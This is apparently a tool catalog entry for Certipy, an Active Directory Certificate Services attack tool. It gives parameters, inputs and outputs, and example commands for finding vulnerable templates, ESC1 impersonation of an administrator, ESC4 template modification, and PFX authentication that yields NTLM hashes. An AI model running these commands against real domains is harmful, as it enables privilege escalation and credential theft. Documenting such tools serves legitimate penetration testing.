Active Directory Certificate Services (AD CS) exploitation tool that finds vulnerable certificate templates, escrows, and performs ESC1-ESC8 attacks for domain privilege escalation.
certipy-ad {action} 📎 action certipy-ad {action}Sandbox: execFile · Timeout: 60s
security.ad.cs.find security.ad.cs.esc1 security.ad.cs.esc4 security.ad.cs.auth security.ad.cert.enum | Name | Type | Required | Default | Description | Aliases |
|---|---|---|---|---|---|
action | string | Yes | - | Action: find, req, auth, template | - |
target | string | No | - | Target CA server or domain controller | - |
username | string | No | - | Domain username | - |
password | string | No | - | Domain password | - |
ca | string | No | - | Certificate Authority name | - |
template | string | No | - | Certificate template name (for ESC1/ESC4) | - |
Inputs
network.target.ip Domain controller or CA server IP
credential.username Domain username
credential.password Domain password
Outputs
security.ad.certificate Obtained certificate (PFX file)
security.ad.credential Authentication-derived NTLM hash
network_traffic Produces
security.ad.certificatesecurity.ad.credentialConsumes
network.target.ipcredential.usernamecredential.password| Resource | Value |
|---|---|
| CPU | low |
| Memory | 64 MB |
| Network | low |
| Disk I/O | low |
Find vulnerable certificate templates and CAs
certipy-ad find -u user@evilcorp.local -p pass123 -dc-ip 10.10.10.1Find vulnerable templates with DNS-TCP transport
certipy-ad find -u {{USER}}@{{DOMAIN}} -p '{{PASSWORD}}' -dc-ip {{IP}} -dns-tcpESC1 — request certificate as a different user (machine account)
certipy-ad req -u user@evilcorp.local -p pass123 -ca EVILCORP-CA -template VulnTemplate -upn administrator@evilcorp.localAuthenticate with obtained PFX certificate to get NTLM hash
certipy-ad auth -pfx administrator.pfx -dc-ip 10.10.10.1ESC4 — modify vulnerable template to enable ESC1
certipy-ad template -u user@evilcorp.local -p pass123 -template VulnTemplate -save-oldList CAs and servers
certipy-ad find -u {{USER}}@{{DOMAIN}} -p '{{PASSWORD}}' -dc-ip {{IP}} -enabledCertipy is a Python-based tool for attacking Active Directory Certificate Services. It automates the discovery and exploitation of certificate template vulnerabilities (ESC1-ESC8).
| Attack | Description | Command |
|---|---|---|
| find | Enumerate CAs and vulnerable templates | certipy-ad find |
| ESC1 | Certificate with SAN (subjectAltName) spoofing | certipy-ad req -template Vuln -upn admin@corp |
| ESC4 | Modify template ACLs to enable ESC1 | certipy-ad template -template Vuln |
| auth | Authenticate with PFX to get NTLM hash | certipy-ad auth -pfx cert.pfx |
| req | Request certificate from CA | certipy-ad req -ca CA-NAME -template Template |